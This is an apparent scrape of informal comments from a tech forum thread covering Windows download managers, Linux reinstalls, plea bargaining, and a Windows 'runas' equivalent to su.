[zoloto]

true, but if you use a real download manager like CLI based wget for win32 (Site found here, direct link here , getright or download accellerator that directly downloaded to a directory of choice, you could get around that.

Yes, people aren't going to want to use wget b/c it doesn't have a GUI, but I'm working on a plugin for IE, mozilla and opera that enables a GUI w/options etc for the windows and nix platforms.

-z

He was terminally stupid, though...

[FrenchyinCT]

Friends Don't Let Friends Use Internet Explorer!

Re:yrs in prison etc...before the investigation? y

[smkndrkn]

In my state if you are a felon you are unable to have any stake what-so-ever in a business that makes distributes alcohol. You can go before the liquor commission and they might give you a green light but its unlikely. I only have 3 more years before I can get the felony wiped from the books though so I'll live I guess.

Re: WARNING: Neither does Firefox

[i_am_pi]

Don't click on internet links?

Re: WARNING: Neither does Firefox

[i_am_pi]

In a reply to my own post:
Especially ones that say "please eat us" and that you KNOW pop up goatse and scat porn.

Re:stop this? me?

[zcat_NZ]

I guess you could keep all your files (and drivers) on a different partition and reinstall windows without needing to backup first.

Anyhow, I just upgraded from RedHat8 to Debian Sarge. I have two 40G drives for /home and /media which I left unmounted while I did the install. Once I was done I set up /home and /media in fstab, nuked all the .config files (I was running gnome, I've decided I prefer kde) and set it up again how I like. Easy!

Sarge kicks ass!

Here's Reality for You

[rodgster]

Experts cost $$$$$.

Vampires (I mean Attorneys) Cost $$$$$.

$$$$$ Buys Justice.

Lack of $$$$$--->Flea Bargain

Simple as That.

Welcome to America land of the Free (or is it Flea Bargain).

Personally I feel there should be NO PLEA BARGAINS . IIRC that is a recent invention. This would force the prosecutors to enforce the laws as they are on the books and ensure that everyone has a fair trial (if you can call judgement by a group of uninformed/unknowledgeable peers a fair trial).

And if the the laws are opressive, maybe it'll overwhelm the "Injustice System". (the Flea Bargain System was instituted to prevent just this sort of thing).

That's not to say that innocent people won't still be convicted.

See:

http://www.innocenceproject.com/

But I think it will level the playing field a little and force the "injustice department" to realize that there is a problem that needs to be addressed.

And maybe a few poor fucks won't be railroaded.

The DA's MO

[rodgster]

The DA's MO is to charge everyone with the most trumped up bullshit anyone could ever imagine.

Then get you to Flea Bargain down to what you are really guilt of and maybe cut you a break for admitting to it. If you are not Too Big of a Shitbag.

The Facts are: People Lie. Almost everyone does it (almost everyday).

Cops are people. Shitbags are people. Sorting out the truth from the lies is nearly impossible.

When have you ever seen an EU (End User) admit to surfing porn and that is why all this shit is popping up on his/her computer.

Answer: Never

It's always someone else. It was a temp, the other guy, the guy who sold me this computer from ebay, the neighbor's kid (not mine, etc, etc).

I call Bullshit.

Re:stop this? me?

[0BoDy]

I feel this becoming a flame war, but: When There becomes a difference between "install as Administrator" and logging in as administrator, I say that there's nothing like "su" for windows. And there is a difference. Yes you can run applications as another user, but it isn't as uncomplicated as a super-user term. on the point of "a few lazy developers," Blizzard, Epic, Sierra, and EA are the game developers, perhaps there's only a few of them, but these are the ones I have problems with.

Re:stop this? me?

[GlassUser]

Clicking the magical mouse sequence and moving the pointer in the right pattern is not su. You're right. The direct equivalent of su is:
"runas /user:administrator cmd /k"